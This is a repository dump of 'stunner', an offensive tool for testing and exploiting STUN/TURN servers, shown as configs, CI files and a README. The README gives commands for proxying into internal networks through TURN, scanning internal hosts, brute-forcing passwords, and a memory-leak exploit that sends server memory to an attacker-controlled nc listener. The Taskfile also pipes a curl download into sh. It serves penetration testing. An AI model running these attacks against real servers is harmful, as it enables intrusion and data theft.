├── .devcontainer
└── devcontainer.json
├── .github
├── dependabot.yml
└── workflows
│ ├── auto-merge-dependabot.yml
│ ├── codeql.yml
│ ├── docker.yml
│ ├── go.yml
│ ├── golangci-lint.yml
│ ├── release.yml
│ └── update.yml
├── .golangci.yml
├── .goreleaser.yaml
├── .idea
├── modules.xml
├── stunner.iml
└── vcs.xml
├── Dockerfile
├── LICENSE
├── Readme.md
├── Taskfile.yml
├── go.mod
├── go.sum
├── internal
├── cmd
│ ├── bruteforce.go
│ ├── brutetransports.go
│ ├── info.go
│ ├── memoryleak.go
│ ├── rangescan.go
│ ├── socks.go
│ ├── tcpscanner.go
│ └── udpscanner.go
├── connection.go
├── helper
│ ├── connection.go
│ ├── helper.go
│ ├── helper_test.go
│ ├── iphelper.go
│ └── resolver.go
├── helpers_string.go
├── helpers_stun.go
├── helpers_stun_test.go
├── helpers_turn.go
├── helpers_turn_test.go
├── helpers_turntcp.go
├── logger.go
├── parsers_stun.go
├── parsers_stun_test.go
├── parsers_turn.go
├── parsers_turn_test.go
├── requests_stun.go
├── requests_turn.go
├── requests_turntcp.go
├── socksimplementations
│ └── socksturntcphandler.go
├── stun.go
├── types_stun.go
├── types_turn.go
└── types_turntcp.go
├── main.go
└── scripts
├── expressway_get_creds.py
└── expressway_get_creds_new.py
/.devcontainer/devcontainer.json:
--------------------------------------------------------------------------------
1 | // For format details, see https://aka.ms/devcontainer.json. For config options, see the
2 | // README at: https://github.com/devcontainers/templates/tree/main/src/go
3 | {
4 | "name": "Go",
5 | "image": "mcr.microsoft.com/devcontainers/go",
6 | "features": {
7 | "ghcr.io/guiyomh/features/golangci-lint:0": {},
8 | "ghcr.io/devcontainers-contrib/features/go-task:1": {}
9 | },
10 | "postCreateCommand": "go mod download",
11 | // Features to add to the dev container. More info: https://containers.dev/features.
12 | // "features": {},
13 | // Use 'forwardPorts' to make a list of ports inside the container available locally.
14 | // "forwardPorts": [],
15 | // Use 'postCreateCommand' to run commands after the container is created.
16 | // "postCreateCommand": "go version",
17 | // Configure tool-specific properties.
18 | "customizations": {
19 | "vscode": {
20 | "extensions": [
21 | "golang.go",
22 | "shardulm94.trailing-spaces",
23 | "IBM.output-colorizer",
24 | "task.vscode-task",
25 | "github.vscode-github-actions",
26 | "redhat.vscode-yaml",
27 | "usernamehw.errorlens"
28 | ]
29 | }
30 | }
31 | }
--------------------------------------------------------------------------------
/.github/dependabot.yml:
--------------------------------------------------------------------------------
1 | # To get started with Dependabot version updates, you'll need to specify which
2 | # package ecosystems to update and where the package manifests are located.
3 | # Please see the documentation for all configuration options:
4 | # https://help.github.com/github/administering-a-repository/configuration-options-for-dependency-updates
5 |
6 | version: 2
7 | updates:
8 | - package-ecosystem: "gomod"
9 | directory: "/"
10 | schedule:
11 | interval: "weekly"
12 |
13 | - package-ecosystem: "github-actions"
14 | directory: "/"
15 | schedule:
16 | # Check for updates to GitHub Actions every weekday
17 | interval: "daily"
18 |
19 | - package-ecosystem: docker
20 | directory: "/"
21 | schedule:
22 | interval: "weekly"
23 |
24 | - package-ecosystem: "devcontainers"
25 | directory: "/"
26 | schedule:
27 | interval: "weekly"
28 |
--------------------------------------------------------------------------------
/.github/workflows/auto-merge-dependabot.yml:
--------------------------------------------------------------------------------
1 | name: Auto-merge dependabot updates
2 |
3 | on:
4 | pull_request:
5 | branches: [main]
6 |
7 | permissions:
8 | pull-requests: write
9 | contents: write
10 |
11 | jobs:
12 |
13 | dependabot-merge:
14 |
15 | runs-on: ubuntu-latest
16 |
17 | if: ${{ github.actor == 'dependabot[bot]' }}
18 |
19 | steps:
20 | - name: Dependabot metadata
21 | id: metadata
22 | uses: dependabot/fetch-metadata@v2.4.0
23 | with:
24 | github-token: "${{ secrets.GITHUB_TOKEN }}"
25 |
26 | - name: Enable auto-merge for Dependabot PRs
27 | # Only if version bump is not a major version change
28 | if: ${{steps.metadata.outputs.update-type != 'version-update:semver-major'}}
29 | run: gh pr merge --auto --merge "$PR_URL"
30 | env:
31 | PR_URL: ${{github.event.pull_request.html_url}}
32 | GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}}
33 |
--------------------------------------------------------------------------------
/.github/workflows/codeql.yml:
--------------------------------------------------------------------------------
1 | # For most projects, this workflow file will not need changing; you simply need
2 | # to commit it to your repository.
3 | #
4 | # You may wish to alter this file to override the set of languages analyzed,
5 | # or to provide custom queries or build logic.
6 | #
7 | # ******** NOTE ********
8 | # We have attempted to detect the languages in your repository. Please check
9 | # the `language` matrix defined below to confirm you have the correct set of
10 | # supported CodeQL languages.
11 | #
12 | name: "CodeQL"
13 |
14 | on:
15 | push:
16 | branches: [ main ]
17 | pull_request:
18 | # The branches below must be a subset of the branches above
19 | branches: [ main ]
20 | schedule:
21 | - cron: '22 8 * * 5'
22 |
23 | jobs:
24 | analyze:
25 | name: Analyze
26 | runs-on: ubuntu-latest
27 | permissions:
28 | actions: read
29 | contents: read
30 | security-events: write
31 |
32 | strategy:
33 | fail-fast: false
34 | matrix:
35 | language: [ 'go' ]
36 | # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ]
37 | # Learn more about CodeQL language support at https://git.io/codeql-language-support
38 |
39 | steps:
40 | - name: Checkout repository
41 | uses: actions/checkout@v4
42 |
43 | - uses: actions/setup-go@v5
44 | with:
45 | go-version: "stable"
46 |
47 | # Initializes the CodeQL tools for scanning.
48 | - name: Initialize CodeQL
49 | uses: github/codeql-action/init@v3
50 | with:
51 | languages: ${{ matrix.language }}
52 | # If you wish to specify custom queries, you can do so here or in a config file.
53 | # By default, queries listed here will override any specified in a config file.
54 | # Prefix the list here with "+" to use these queries and those in the config file.
55 | # queries: ./path/to/local/query, your-org/your-repo/queries@main
56 |
57 | # Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
58 | # If this step fails, then you should remove it and run the build manually (see below)
59 | - name: Autobuild
60 | uses: github/codeql-action/autobuild@v3
61 |
62 | # ℹ️ Command-line programs to run using the OS shell.
63 | # 📚 https://git.io/JvXDl
64 |
65 | # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines
66 | # and modify them (or add more) to build your code if your project
67 | # uses a compiled language
68 |
69 | #- run: |
70 | # make bootstrap
71 | # make release
72 |
73 | - name: Perform CodeQL Analysis
74 | uses: github/codeql-action/analyze@v3
75 |
--------------------------------------------------------------------------------
/.github/workflows/docker.yml:
--------------------------------------------------------------------------------
1 | name: Build Docker Images
2 |
3 | on:
4 | push:
5 | branches:
6 | - main
7 | workflow_dispatch:
8 | schedule:
9 | - cron: "0 0 * * *"
10 |
11 | jobs:
12 | Dockerhub:
13 | timeout-minutes: 30
14 | runs-on: ubuntu-latest
15 | permissions:
16 | contents: read
17 | packages: write
18 |
19 | steps:
20 | - name: checkout sources
21 | uses: actions/checkout@v4
22 |
23 | - name: Set up QEMU
24 | uses: docker/setup-qemu-action@v3
25 |
26 | - name: Set up Docker Buildx
27 | uses: docker/setup-buildx-action@v3
28 |
29 | - name: Login to GitHub Container Registry
30 | uses: docker/login-action@v3
31 | with:
32 | registry: ghcr.io
33 | username: ${{ github.repository_owner }}
34 | password: ${{ secrets.GITHUB_TOKEN }}
35 |
36 | - name: Build and push
37 | uses: docker/build-push-action@v6
38 | with:
39 | push: true
40 | platforms: linux/amd64,linux/arm/v7,linux/arm64/v8,linux/386,linux/ppc64le
41 | tags: |
42 | ghcr.io/firefart/stunner:latest
43 |
--------------------------------------------------------------------------------
/.github/workflows/go.yml:
--------------------------------------------------------------------------------
1 | name: Go
2 | on: [ push, pull_request ]
3 | jobs:
4 | build:
5 | name: Build
6 | timeout-minutes: 30
7 | runs-on: ubuntu-latest
8 | steps:
9 | - name: Check out code
10 | uses: actions/checkout@v4
11 |
12 | - name: Set up Go
13 | uses: actions/setup-go@v5
14 | with:
15 | go-version: "stable"
16 |
17 | - name: Install Task
18 | uses: arduino/setup-task@v2
19 | with:
20 | repo-token: ${{ secrets.GITHUB_TOKEN }}
21 |
22 | - name: Get dependencies
23 | run: |
24 | go get -v -t -d ./...
25 |
26 | - name: Build linux
27 | run: task linux
28 |
29 | - name: Build windows
30 | run: task windows
31 |
32 | - name: Test
33 | run: task test
34 |
--------------------------------------------------------------------------------
/.github/workflows/golangci-lint.yml:
--------------------------------------------------------------------------------
1 | name: golangci-lint
2 | on: [ push, workflow_dispatch ]
3 | jobs:
4 | golangci:
5 | name: lint
6 | timeout-minutes: 30
7 | runs-on: ubuntu-latest
8 | steps:
9 | - uses: actions/checkout@v4
10 |
11 | - uses: actions/setup-go@v5
12 | with:
13 | go-version: "stable"
14 |
15 | - name: golangci-lint
16 | uses: golangci/golangci-lint-action@v8
17 | with:
18 | version: latest
19 |
--------------------------------------------------------------------------------
/.github/workflows/release.yml:
--------------------------------------------------------------------------------
1 | name: goreleaser
2 |
3 | on:
4 | push:
5 | tags:
6 | - "*"
7 |
8 | permissions:
9 | contents: write
10 |
11 | jobs:
12 | goreleaser:
13 | runs-on: ubuntu-latest
14 | steps:
15 | - name: Checkout
16 | uses: actions/checkout@v4
17 | with:
18 | fetch-depth: 0
19 |
20 | - name: Fetch all tags
21 | run: git fetch --force --tags
22 |
23 | - name: Set up Go
24 | uses: actions/setup-go@v5
25 | with:
26 | go-version: "stable"
27 |
28 | - name: Run GoReleaser
29 | uses: goreleaser/goreleaser-action@v6.3.0
30 | with:
31 | distribution: goreleaser
32 | version: latest
33 | args: release --clean
34 | env:
35 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
36 |
--------------------------------------------------------------------------------
/.github/workflows/update.yml:
--------------------------------------------------------------------------------
1 | name: Update
2 |
3 | on:
4 | workflow_dispatch:
5 | schedule:
6 | - cron: "0 12 * * *"
7 |
8 | jobs:
9 | update:
10 | timeout-minutes: 30
11 | runs-on: ubuntu-latest
12 | steps:
13 | - name: checkout
14 | uses: actions/checkout@v4
15 | with:
16 | token: ${{ secrets.PERSONAL_ACCESS_TOKEN_UPDATE }}
17 |
18 | - name: Set up Go
19 | uses: actions/setup-go@v5
20 | with:
21 | go-version: "stable"
22 |
23 | - name: Install Task
24 | uses: arduino/setup-task@v2
25 | with:
26 | repo-token: ${{ secrets.GITHUB_TOKEN }}
27 |
28 | - name: update
29 | run: |
30 | task update
31 |
32 | - name: setup git config
33 | run: |
34 | git config user.name "Github"
35 | git config user.email "<>"
36 |
37 | - name: commit changes
38 | # need to override the default shell so we can check
39 | # for error codes. Otherwise, it will always fail if
40 | # one command returns an error code other than 0
41 | shell: bash --noprofile --norc -o pipefail {0}
42 | run: |
43 | git diff-index --quiet HEAD --
44 | exit_status=$?
45 | if [ $exit_status -eq 0 ]; then
46 | echo "nothing has changed"
47 | else
48 | git add go.mod go.sum
49 | git commit -m "auto update from github actions"
50 | git push origin main
51 | fi
52 |
--------------------------------------------------------------------------------
/.golangci.yml:
--------------------------------------------------------------------------------
1 | version: "2"
2 | linters:
3 | enable:
4 | - nonamedreturns
5 | exclusions:
6 | generated: lax
7 | presets:
8 | - comments
9 | - common-false-positives
10 | - legacy
11 | - std-error-handling
12 | paths:
13 | - third_party$
14 | - builtin$
15 | - examples$
16 | formatters:
17 | exclusions:
18 | generated: lax
19 | paths:
20 | - third_party$
21 | - builtin$
22 | - examples$
23 |
--------------------------------------------------------------------------------
/.goreleaser.yaml:
--------------------------------------------------------------------------------
1 | # This is an example .goreleaser.yml file with some sensible defaults.
2 | # Make sure to check the documentation at https://goreleaser.com
3 |
4 | # The lines below are called `modelines`. See `:help modeline`
5 | # Feel free to remove those if you don't want/need to use them.
6 | # yaml-language-server: $schema=https://goreleaser.com/static/schema.json
7 | # vim: set ts=2 sw=2 tw=0 fo=cnqoj
8 |
9 | version: 2
10 |
11 | before:
12 | hooks:
13 | # You may remove this if you don't use go modules.
14 | - go mod tidy
15 | # you may remove this if you don't need go generate
16 | - go generate ./...
17 |
18 | builds:
19 | - env:
20 | - CGO_ENABLED=0
21 | goos:
22 | - linux
23 | - windows
24 | - darwin
25 |
26 | archives:
27 | - format: tar.gz
28 | # this name template makes the OS and Arch compatible with the results of `uname`.
29 | name_template: >-
30 | {{ .ProjectName }}_
31 | {{- title .Os }}_
32 | {{- if eq .Arch "amd64" }}x86_64
33 | {{- else if eq .Arch "386" }}i386
34 | {{- else }}{{ .Arch }}{{ end }}
35 | {{- if .Arm }}v{{ .Arm }}{{ end }}
36 | # use zip for windows archives
37 | format_overrides:
38 | - goos: windows
39 | format: zip
40 |
41 | changelog:
42 | sort: asc
43 | filters:
44 | exclude:
45 | - "^docs:"
46 | - "^test:"
47 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/stunner.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:latest AS build-env
2 | WORKDIR /src
3 | ENV CGO_ENABLED=0
4 | COPY go.mod /src/
5 | RUN go mod download
6 | COPY . .
7 | RUN go build -a -o stunner -ldflags="-s -w" -gcflags="all=-trimpath=/src" -asmflags="all=-trimpath=/src"
8 |
9 | FROM alpine:latest
10 |
11 | RUN apk add --no-cache ca-certificates \
12 | && rm -rf /var/cache/*
13 |
14 | RUN mkdir -p /app \
15 | && adduser -D stunner \
16 | && chown -R stunner:stunner /app
17 |
18 | USER stunner
19 | WORKDIR /app
20 |
21 | COPY --from=build-env /src/stunner .
22 |
23 | ENTRYPOINT [ "./stunner" ]
24 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/4.0/ or send a letter to Creative Commons, PO Box 1866, Mountain View, CA 94042, USA.
--------------------------------------------------------------------------------
/Readme.md:
--------------------------------------------------------------------------------
1 | # STUNNER
2 |
3 | Stunner is a tool to test and exploit STUN, TURN and TURN over TCP servers.
4 | TURN is a protocol mostly used in videoconferencing and audio chats (WebRTC).
5 |
6 | If you find a misconfigured server you can use this tool to open a local socks proxy that relays all traffic via the
7 | TURN protocol into the internal network behind the server.
8 |
9 | I developed this tool during a test of Cisco Expressway which resulted in some
10 | vulnerabilities: [https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/](https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/)
11 |
12 | To get the required username and password you need to fetch them using an out-of-band method like sniffing the Connect
13 | request from a web browser with Burp. I added an [example workflow](#example-workflow) at the bottom of the readme on
14 | how you would test such a server.
15 |
16 | # LICENSE
17 |
18 | This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. To view
19 | a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/4.0/ or send a letter to Creative Commons, PO
20 | Box 1866, Mountain View, CA 94042, USA.
21 |
22 | # implemented RFCs
23 |
24 | STUN: [RFC 5389](https://datatracker.ietf.org/doc/html/rfc5389)
25 |
26 | TURN: [RFC 5766](https://datatracker.ietf.org/doc/html/rfc5766)
27 |
28 | TURN for TCP: [RFC 6062](https://datatracker.ietf.org/doc/html/rfc6062)
29 |
30 | TURN Extension for IPv6: [RFC 6156](https://datatracker.ietf.org/doc/html/rfc6156)
31 |
32 | # Available Commands
33 |
34 | ## info
35 |
36 | This command will print some info about the stun or turn server like supported protocols and attributes like the used
37 | software.
38 |
39 | ### Options
40 |
41 | ```text
42 | --debug, -d enable debug output (default: false)
43 | --turnserver value, -s value turn server to connect to in the format host:port
44 | --tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
45 | --timeout value connect timeout to turn server (default: 1s)
46 | --help, -h show help (default: false)
47 | ```
48 |
49 | ### Example
50 |
51 | ```bash
52 | ./stunner info -s x.x.x.x:443
53 | ```
54 |
55 | ## range-scan
56 |
57 | This command tries several private and restricted ranges to see if the TURN server is configured to allow connections to
58 | the specified IP addresses. If a specific range is not prohibited you can enumerate this range further with the other
59 | provided commands. If an ip is reachable it means the TURN server will forward traffic to this IP.
60 |
61 | ### Options
62 |
63 | ```text
64 | --debug, -d enable debug output (default: false)
65 | --turnserver value, -s value turn server to connect to in the format host:port
66 | --tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
67 | --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
68 | --timeout value connect timeout to turn server (default: 1s)
69 | --username value, -u value username for the turn server
70 | --password value, -p value password for the turn server
71 | --help, -h show help (default: false)
72 | ```
73 |
74 | ### Example
75 |
76 | TCP based TURN connection (connection from you the TURN server):
77 |
78 | ```bash
79 | ./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp
80 | ```
81 |
82 | UDP based TURN connection (connection from you the TURN server):
83 |
84 | ```bash
85 | ./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp
86 | ```
87 |
88 | ## socks
89 |
90 | This is one of the most useful commands for TURN servers that support TCP connections to backend servers. It will launch
91 | a local socks5 server with no authentication and will relay all TCP traffic over the TURN protocol (UDP via SOCKS is
92 | currently not supported). If the server is misconfuigured it will forward the traffic to internal adresses so this can
93 | be used to reach internal systems and abuse the server as a proxy into the internal network. If you choose to also do
94 | DNS lookups over socks, it will be resolved using your local nameserver so it's best to work with private IPv4 and IPv6
95 | addresses. Please be aware that this module can only relay TCP traffic.
96 |
97 | ### Options
98 |
99 | ```text
100 | --debug, -d enable debug output (default: false)
101 | --turnserver value, -s value turn server to connect to in the format host:port
102 | --tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
103 | --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
104 | --timeout value connect timeout to turn server (default: 1s)
105 | --username value, -u value username for the turn server
106 | --password value, -p value password for the turn server
107 | --listen value, -l value Address and port to listen on (default: "127.0.0.1:1080")
108 | --drop-public, -x Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection. (default: true)
109 | --help, -h show help (default: false)
110 | ```
111 |
112 | ### Example
113 |
114 | ```bash
115 | ./stunner socks -s x.x.x.x:3478 -u username -p password -x
116 | ```
117 |
118 | After starting the proxy open your browser, point the proxy in your settings to socks5 with an ip of 127.0.0.1:1080 (be
119 | sure to not set the bypass local address option as we want to reach the remote local addresses) and call the IP of your
120 | choice in the browser.
121 |
122 | Example: https://127.0.0.1, https://127.0.0.1:8443 or https://[::1]:8443 (those will call the ports on the tested TURN
123 | server from the local interfaces).
124 |
125 | You can also configure `proxychains` to use this proxy (but it will be very slow as each request results in multiple
126 | requests to enable the proxying). Just edit `/etc/proxychains.conf` and enter the value `socks5 127.0.0.1 1080` under
127 | `ProxyList`.
128 |
129 | Example of nmap over this socks5 proxy with a correct configured proxychains (note it's -sT to do TCP syns otherwise it
130 | will not use the socks5 proxy)
131 |
132 | ```bash
133 | sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1
134 | ```
135 |
136 | ## brute-transports
137 |
138 | This will most likely yield no useable information but can be useful to enumerate all available transports (=protocols
139 | to internal systems) supported by the server. This might show some custom protocol implementations but mostly will only
140 | return the defaults.
141 |
142 | ### Options
143 |
144 | ```text
145 | --debug, -d enable debug output (default: false)
146 | --turnserver value, -s value turn server to connect to in the format host:port
147 | --tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
148 | --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
149 | --timeout value connect timeout to turn server (default: 1s)
150 | --username value, -u value username for the turn server
151 | --password value, -p value password for the turn server
152 | --help, -h show help (default: false)
153 | ```
154 |
155 | ### Example
156 |
157 | ```bash
158 | ./stunner brute-transports -s x.x.x.x:3478 -u username -p password
159 | ```
160 |
161 | ## brute-password
162 |
163 | This command tries all passwords from a given file for a username via the TURN protocol (UDP). This can be useful when
164 | analysing a pcap where you can see the username but not the password.
165 | Please note that an offline bruteforce is much faster in this case.
166 |
167 | ### Options
168 |
169 | ```text
170 | --debug, -d enable debug output (default: false)
171 | --turnserver value, -s value turn server to connect to in the format host:port
172 | --tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
173 | --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
174 | --timeout value connect timeout to turn server (default: 1s)
175 | --username value, -u value username for the turn server
176 | --passfile value, -p value passwordfile to use for bruteforce
177 | --help, -h show help (default: false)
178 | ```
179 |
180 | ### Example
181 |
182 | ```bash
183 | ./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt
184 | ```
185 |
186 | ## memoryleak
187 |
188 | This attack works the following way:
189 | The server takes the data to send to `target` (must be a high port > 1024 in most cases) as a TLV (Type Length Value).
190 | This exploit uses a big length with a short value. If the server does not check the boundaries of the TLV, it might send
191 | you some memory up the `length` to the `target`. Cisco Expressway was confirmed vulnerable to this but according to
192 | cisco it only leaked memory of the current session.
193 |
194 | ### Options
195 |
196 | ```text
197 | --debug, -d enable debug output (default: false)
198 | --turnserver value, -s value turn server to connect to in the format host:port
199 | --tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
200 | --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
201 | --timeout value connect timeout to turn server (default: 1s)
202 | --username value, -u value username for the turn server
203 | --password value, -p value password for the turn server
204 | --target value, -t value Target to leak memory to in the form host:port. Should be a public server under your control
205 | --size value Size of the buffer to leak (default: 35510)
206 | --help, -h show help (default: false)
207 | ```
208 |
209 | ### Example
210 |
211 | To receive the data we need to set up a receiver on a server with a public ip. Normally firewalls are configured to only
212 | allow highports (>1024) from TURN servers so be sure to use a high port like 8080 in this example when connecting out to
213 | the internet.
214 |
215 | ```bash
216 | sudo nc -u -l -n -v -p 8080 | hexdump -C
217 | ```
218 |
219 | then execute the following statement on your machine adding the public ip to the `t` parameter
220 |
221 | ```bash
222 | ./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p password
223 | ```
224 |
225 | If it works you should see big loads of memory coming in, otherwise you will only see short messages.
226 |
227 | ## udp-scanner
228 |
229 | If a TURN server allows UDP connections to internal targets this scanner can be used to scan all private ip ranges and send them
230 | SNMP and DNS requests. As this checks a lot of IPs this can take multiple days to complete so use with caution or
231 | specify smaller targets via the parameters. You need to supply an SNMP community string that will be tried and a domain
232 | name that will be resolved on each IP. For the domain name you can for example use burp collaborator.
233 |
234 | ### Options
235 |
236 | ```text
237 | --debug, -d enable debug output (default: false)
238 | --turnserver value, -s value turn server to connect to in the format host:port
239 | --tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
240 | --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
241 | --timeout value connect timeout to turn server (default: 1s)
242 | --username value, -u value username for the turn server
243 | --password value, -p value password for the turn server
244 | --community-string value SNMP community string to use for scanning (default: "public")
245 | --domain value domain name to resolve on internal DNS servers during scanning
246 | --ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
247 | --help, -h show help (default: false)
248 | ```
249 |
250 | ### Example
251 |
252 | ```bash
253 | ./stunner udp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8 --domain domain.you.control.com --community-string public
254 | ```
255 |
256 | ## tcp-scanner
257 |
258 | Same as `udp-scanner` but sends out HTTP requests to the specified ports (HTTPS is not supported)
259 |
260 | ### Options
261 |
262 | ```text
263 | --debug, -d enable debug output (default: false)
264 | --turnserver value, -s value turn server to connect to in the format host:port
265 | --tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
266 | --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
267 | --timeout value connect timeout to turn server (default: 1s)
268 | --username value, -u value username for the turn server
269 | --password value, -p value password for the turn server
270 | --ports value Ports to check (default: "80,443,8080,8081")
271 | --ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
272 | --help, -h show help (default: false)
273 | ```
274 |
275 | ### Example
276 |
277 | ```bash
278 | ./stunner tcp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8
279 | ```
280 |
281 | # Example workflow
282 |
283 | Let's say you find a service using WebRTC and want to test it.
284 |
285 | First step is to get the required data. I suggest to launch Wireshark in the background and just join a meeting via Burp
286 | to collect all HTTP and Websocket traffic. Next search your burp history for some keywords related to TURN like `3478`,
287 | `password`, `credential` and `username` (be sure to also check the websocket tab for these keywords). This might reveal
288 | the turn server and the protocol (UDP and TCP endpoints might have different ports) and the credentials used to connect.
289 | If you can't find the data in burp start looking at wireshark to identify the traffic. If it's on a nonstandard port (
290 | anything else then 3478) decode the protocol in Wireshark via a right click as `STUN`. This should show you the username
291 | used to connect, and you can use this information to search burps history even further for the required data. Please note
292 | that Wireshark can't show you the password as the password is used to hash some package contents so it can not be
293 | reversed.
294 |
295 | Next step would be to issue the `info` command to the turn server using the correct port and protocol obtained from
296 | burp.
297 |
298 | If this works, the next step is a `range-scan`. If this allows any traffic to internal systems you can exploit this
299 | further but be aware that UDP has only limited use cases.
300 |
301 | If TCP connections to internal systems are allowed simply launch the `socks` command and access the allowed IPs via a
302 | browser and set the socks proxy to 127.0.0.1:1080. You can try out 127.0.0.1:443 and other ips to find management
303 | interfaces.
304 |
--------------------------------------------------------------------------------
/Taskfile.yml:
--------------------------------------------------------------------------------
1 | version: "3"
2 |
3 | vars:
4 | PROGRAM: stunner
5 |
6 | env:
7 | CGO_ENABLED: 0
8 |
9 | tasks:
10 | update:
11 | cmds:
12 | - go get -u
13 | - go mod tidy -v
14 |
15 | build:
16 | aliases: [ default ]
17 | cmds:
18 | - go fmt ./...
19 | - go vet ./...
20 | - go build -o {{.OUTPUT_FILE | default .PROGRAM}}
21 | env:
22 | GOOS: '{{.GOOS | default "linux"}}'
23 | GOARCH: '{{.GOARCH | default "amd64"}}'
24 |
25 | linux:
26 | cmds:
27 | - task: build
28 | vars:
29 | GOOS: linux
30 | GOARCH: amd64
31 |
32 | windows:
33 | cmds:
34 | - task: build
35 | vars:
36 | OUTPUT_FILE: "{{.PROGRAM}}.exe"
37 | GOOS: windows
38 | GOARCH: amd64
39 |
40 | test:
41 | env:
42 | CGO_ENABLED: 1 # required by -race
43 | cmds:
44 | - go test -race -cover ./...
45 |
46 | lint:
47 | cmds:
48 | - golangci-lint run ./... --timeout=30m
49 | - go mod tidy
50 |
51 | lint-update:
52 | cmds:
53 | - curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b {{ .GOPATH }}/bin
54 | - golangci-lint --version
55 | vars:
56 | GOPATH:
57 | sh: go env GOPATH
58 |
59 | tag:
60 | cmds:
61 | - git tag -a "${TAG}" -m "${TAG}"
62 | - git push origin "${TAG}"
63 | preconditions:
64 | - sh: '[[ -n "${TAG}" ]]'
65 | msg: "Please set the TAG environment variable"
66 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/firefart/stunner
2 |
3 | go 1.24
4 |
5 | require (
6 | github.com/firefart/gosocks v0.4.2
7 | github.com/pion/dtls/v2 v2.2.12
8 | github.com/sirupsen/logrus v1.9.3
9 | github.com/urfave/cli/v2 v2.27.6
10 | )
11 |
12 | require (
13 | github.com/cpuguy83/go-md2man/v2 v2.0.7 // indirect
14 | github.com/pion/logging v0.2.3 // indirect
15 | github.com/pion/transport/v2 v2.2.10 // indirect
16 | github.com/pion/transport/v3 v3.0.5 // indirect
17 | github.com/russross/blackfriday/v2 v2.1.0 // indirect
18 | github.com/stretchr/testify v1.9.0 // indirect
19 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 // indirect
20 | golang.org/x/crypto v0.38.0 // indirect
21 | golang.org/x/net v0.40.0 // indirect
22 | golang.org/x/sys v0.33.0 // indirect
23 | )
24 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/cpuguy83/go-md2man/v2 v2.0.7 h1:zbFlGlXEAKlwXpmvle3d8Oe3YnkKIK4xSRTd3sHPnBo=
2 | github.com/cpuguy83/go-md2man/v2 v2.0.7/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g=
3 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
4 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
5 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
6 | github.com/firefart/gosocks v0.4.2 h1:HduMZGxEVsBFEHa57rNwqg8S8M878Pe2Og1TfQKaIR8=
7 | github.com/firefart/gosocks v0.4.2/go.mod h1:9k5AYic+qFxo1W9hxw3vFbRTBEVIT3nWepdFvqv0uc4=
8 | github.com/pion/dtls/v2 v2.2.12 h1:KP7H5/c1EiVAAKUmXyCzPiQe5+bCJrpOeKg/L05dunk=
9 | github.com/pion/dtls/v2 v2.2.12/go.mod h1:d9SYc9fch0CqK90mRk1dC7AkzzpwJj6u2GU3u+9pqFE=
10 | github.com/pion/logging v0.2.2/go.mod h1:k0/tDVsRCX2Mb2ZEmTqNa7CWsQPc+YYCB7Q+5pahoms=
